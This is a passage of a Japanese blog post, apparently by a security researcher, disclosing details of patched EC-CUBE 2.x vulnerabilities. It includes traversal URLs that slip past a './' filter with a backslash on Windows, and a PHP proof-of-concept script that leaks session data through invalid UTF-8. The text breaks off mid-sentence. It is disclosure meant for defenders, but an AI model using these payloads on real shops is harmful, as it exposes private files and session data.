ある方よりEC-CUBEのある脆弱性の情報公開の要望を受け、EC-CUBE3がリリース一周年となり、EC-CUBE2.13が2017年7月にサポート終了ということも考えるとそろそろ頃合いかとも思えたので、私が以前発見したEC-CUBEの脆弱性について詳細を公開します。
脆弱性の詳細を公開する理由は、いわゆるフルディスクロージャの考え方によります。
脆弱性の情報を全員が把握している状態になっているほうが、攻撃ログを解析しやすくなったり、脆弱性の有無を判定できるようになったり等、脆弱性への対策を立てやすくなります。
(もちろん攻撃者も詳細を知ることになるわけですが、OSSの場合脆弱性が公表された日からずっと、パッチの解析などの手段で攻撃者が情報を入手しうる状態は続いているので、いつ攻撃が発生するか分からないし、もしかしたら既に気づかれない形で攻撃が発生しているかもしれない、ということから考えると、脆弱性の情報公開は、タイミングをはかる必要があるにしても、防御側の情報共有のためにむしろ積極的にしたほうが良いということになります)
EC-CUBEの場合、2系のものはカスタマイズして使われることが多いと思われますが、カスタマイズ時に再度脆弱性が作りこまれてしまったりする問題が解消されると思われます。
EC-CUBE2.1x系には自動アップデート機能がないので、開発元のロックオン社からパッチが配布されても適用は手作業となるため、情報の公開には多少の期間をおくべきと思われましたが、今回公表する内容は開発元のパッチ公開から十分な時間が経っていますし、逆にいささか時間を置きすぎたかもしれません。
今回ここで詳細を解説する脆弱性は全て、公表時にロックオン社からEC-CUBEダウンロード者に対策パッチ公開を知らせるメールが飛び、ロックオン社公式サイトに脆弱性情報および対策のページが公開されたものであり、(比較的軽微な一件を除いて)JVNが公開されたものです。
今回公開する脆弱性のリストです。
情報の分量が多いのと、一応最後の念押しとして、前後編に分け、まずは比較的危険性が低いものから前編として公開しようと思います。
[前編]
・お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)
・ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)
・クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)
・ファイルパス情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:中)
・クロスサイトリクエストフォージェリの脆弱性(情報公開日:2013-11-19 / 危険度:中)
[後編の内容予告]
・[公開予告]一部環境における、管理画面の不適切な認証に関する脆弱性(情報公開日:2013-05-22 / 危険度:高)
・[公開予告]コードインジェクションの脆弱性(情報公開日:2013-06-26 / 危険度:高)
・[公開予告]Windowsサーバー環境における、ディレクトリトラバーサルの脆弱性 (情報公開日:2013-08-29 / 危険度:高)
・[公開予告]クロスサイトリクエストフォージェリの脆弱性(情報公開日:2015-10-23 / 危険度:中)
後編は何事もなければ一週間後の8/24(水)深夜か、遅くとも8/25(木)深夜には公開しますので、万が一まだパッチが当たってないEC-CUBEがある場合は後編が公開される前にご対応ください。(デモサイト等にもご注意ください)
■お届け先複数指定画面でのXSS脆弱性(情報公開日:2013-05-22 / 危険度:中)
・脆弱性の情報項目 | 情報 |
EC-CUBE公式情報 | http://www.ec-cube.net/info/weakness/weakness.php?id=44 |
JVN | なし |
情報公開日 | 2013年 05月 22日 |
危険度 | 中 |
対象 | EC-CUBE Ver 2.11.0以降(2.11.0 ~2.12.3) |
この画面にはuniqidというパラメータによりCSRFチェックが入っているため、第三者がユーザーにリンクを踏ませてXSSを発動させるということができず、セルフXSSしかできないものだったので、脆弱性としての危険度はそれほど高くありません。
本件の修正のチェンジセットを参照すれば何が問題だったのかだいたい把握できると思います。
http://svn.ec-cube.net/open_trac/changeset/22784
■ディレクトリトラバーサルの脆弱性(情報公開日:2013-06-26 / 危険度:低)
・脆弱性の情報項目 | 情報 |
EC-CUBE公式情報 | http://www.ec-cube.net/info/weakness/weakness.php?id=48 |
JVNDB | http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000061.html |
情報公開日 | 2013年 06月 26日 |
危険度 | 低 |
対象 | EC-CUBE 2.12.5 より前のバージョン |
これはWindowsサーバー上で稼働しているEC-CUBE上記バージョンにおける脆弱性で、サーバー上の任意の場所の画像ファイルが参照可能となる脆弱性です。
重要度は比較的低い脆弱性ですが、同一サーバー上に第三者に見られてはいけない画像ファイル(例えば会員登録システムが併設されていて、身分証の画像など)があったりすると危険度は高くなります。
本件はWindowsサーバー上で運用されているEC-CUBEのみが対象です。
EC-CUBEのresize_image.phpが読み込める画像は、設定ファイルにより、定数IMAGE_SAVE_REALDIR下の画像に制限されていたのですが、指定されたファイルパスをチェックする正規表現に穴があり、Windows環境の場合、チェックをすり抜けて相対パスを指定することが可能でした。
LC_Page_ResizeImage.phpのlfCheckFileName()関数のプログラムコードは以下のようになっています。
function lfCheckFileName() { //$pattern = '|^[0-9]+_[0-9a-z]+\.[a-z]{3}$|'; $pattern = '|\./|'; $file = trim($_GET['image']); if (preg_match_all($pattern, $file, $matches)) { return false; } else { return true; } }この関数では、正規表現で「./」がパスに含まれる場合、正しくないファイル名としてfalseを返すようになっていますが、Windows環境の場合、パスの区切りに「\」を使う事ができるので、この指定方法を使えば、上記の正規表現に引っかからず、IMAGE_SAVE_REALDIRよりも上位のディレクトリの画像を指定することが可能となります。
例)
エラーになるケース
resize_image.php?image=../someimage.jpg&width=80&height=80
→画像は表示されないチェックをすり抜けることができるケース
resize_image.php?image=..\someimage.jpg&width=80&height=80
→IMAGE_SAVE_REALDIRの一つ上のディレクトリのsomeimage.jpgが表示されるそのため、Windows環境におけるresize_image.phpのこの脆弱性を用いると、サーバ内の非公開領域にある画像であっても、画像の位置が分かっていれば、インターネット側から参照することが可能となります。
ただし当該プログラムの仕様により、本脆弱性を使ってもgif,jpg,png画像以外のファイルの表示ができないので、サーバー上に画像の形で重要情報が置いてあるケースは限られるため、一般的にはそこまでの危険性を持つ脆弱性とは言えないのではないかと思いますが、身分証画像やマイナンバー通知書画像のアップロードがあるシステムと同居している等、画像による重要情報がサーバー上にあり、パスが第三者に推測可能なケースの場合には情報漏えいの危険があります。
(※本件届出時に「.\/」でチェックをバイパスできる現象を発見した際の理解が間違っていて、「\でエスケープをしている」というような謎説明で届出を行っていたのですが、そんなわけはなく、上記が正しい説明です。謹んで訂正いたします)
■クロスサイトスクリプティング及び、セッション情報漏えいの脆弱性(情報公開日:2013-11-19 / 危険度:低)
・脆弱性の情報項目 | 情報 |
EC-CUBE公式情報 | http://www.ec-cube.net/info/weakness/weakness.php?id=54 |
JVNDB | http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-000105.html |
情報公開日 | 2013年 11月 19日 |
危険度 | 低 |
対象 | EC-CUBE 2.11.0 EC-CUBE 2.11.1 EC-CUBE 2.11.2 EC-CUBE 2.11.3 EC-CUBE 2.11.4 EC-CUBE 2.11.5 |
本件はEC-CUBEに関しての一番最初の届出だったのですが、再現方法が複雑で、自分の説明がうまくなかったのもあって、IPAの方と話がうまくかみ合わず苦労した覚えがあります。
これはPostgresを利用しているEC-CUBEの上記バージョンにおいて、不正なUTF-8文字コードをリクエストに含めるとエラーが発生し、エラーメッセージとして、PHPSESSIDに紐づいているPHPセッションオブジェクトに入っている情報の先頭680バイト部分(長さは環境による)が、ユーザーのブラウザ上で暴露されてしまう、という脆弱性と、そのエラーメッセージのダンプにタグを含ませることができ、XSSが可能、という脆弱性です。
再現に使ったPostgreSQLのバージョンは9.2.3で、MySQL利用のEC-CUBEだと再現せず、またEC-CUBE2.12.3では同様の攻撃を行っても情報は出力されませんでした。
当時使った検証プログラムのPHPコードが出てきたので貼ります。
<?php $results = send_socket(); file_put_contents(".\attack_single.txt", $results); //送信関数 function send_socket(){ $data = ''; $host = 'localhost'; $port = '88'; $sock = fsockopen($host, $port); $request= <<< _EOM GET http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=%%%_param_%%% HTTP/1.1 Host: localhost:88 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ja,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=o4hl7bc8on7hi0em9a29efmnu6 Connection: close _EOM; $request_fix=str_replace("%%%_param_%%%", "\xe0\x80\xa7", $request); if(!$sock){ $data = 'socket error:' . $host; }else{ fputs($sock, $request_fix); while(!feof($sock)){ $data .= fgets($sock); } fclose($sock); } return $request_fix."\n\n---\n\n".$data; }
これで http://localhost:88/eccube-2.11.5pg/html/products/list.php?name=\xe0\x80\xa7 というリクエストをソケットで直接EC-CUBEに投入すると、CCUBEからのレスポンスの末尾(